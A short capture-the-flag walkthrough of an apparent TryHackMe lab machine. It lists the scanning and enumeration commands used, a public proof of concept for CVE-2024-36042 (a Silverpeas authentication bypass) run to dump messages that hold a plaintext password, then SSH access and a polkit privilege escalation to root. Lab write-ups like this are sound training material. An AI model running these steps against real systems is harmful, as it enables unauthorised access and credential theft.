silver platter

initial reconnaissance

an nmap scan reveals three open ports, ssh on 22, http on 80, and http on 8080.

nmap -v -sC -sV -oA map silverplatter.thm

web enumeration

virtual host fuzzing returned no results:

wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt \
  -H "Host: FUZZ.silverplatter.thm" \
  -u http://silverplatter.thm --hc 302,404 --hl 345

directory enumeration was run against both http ports:

gobuster dir -u http://silverplatter.thm/ -w /usr/share/wordlists/dirb/common.txt -t 20 -x txt,php,html,zip,bak
gobuster dir -u http://silverplatter.thm:8080/ -w /usr/share/wordlists/dirb/common.txt -t 20 -x txt,php,html,zip,bak

username discovery

browsing to /#contact on port 80 revealed a username: scr1ptkiddy. the page also mentioned the service was running on silverpeas.

navigating directly to /silverpeas on port 8080 confirmed the silverpeas login page.

cve-2024-36042, silverpeas auth bypass

a quick search for known silverpeas vulnerabilities surfaced cve-2024-36042, an authentication bypass. a poc python script was downloaded from github and run against the target:

python3 CVE-2024-36042.py -t http://silverplatter.thm:8080/ -u scr1ptkiddy

the target was confirmed vulnerable. re-running with --dump-messages pulled internal silverpeas messages:

python3 CVE-2024-36042.py -t http://silverplatter.thm:8080/ -u scr1ptkiddy --dump-messages

credentials recovered in plaintext: tim : cm0nt!md0ntf0rg3tth!spa$$w0rdagainlol

ssh access & user flag

ssh login with tim's credentials worked immediately and user.txt was in the home directory.

privilege escalation

linpeas was transferred and run to enumerate escalation paths.

linpeas flagged a vulnerable polkit binary, a well-known local privilege escalation.

while this is likely an unintended path (many older machines remain unpatched against polkit), running the exploit dropped a root shell immediately.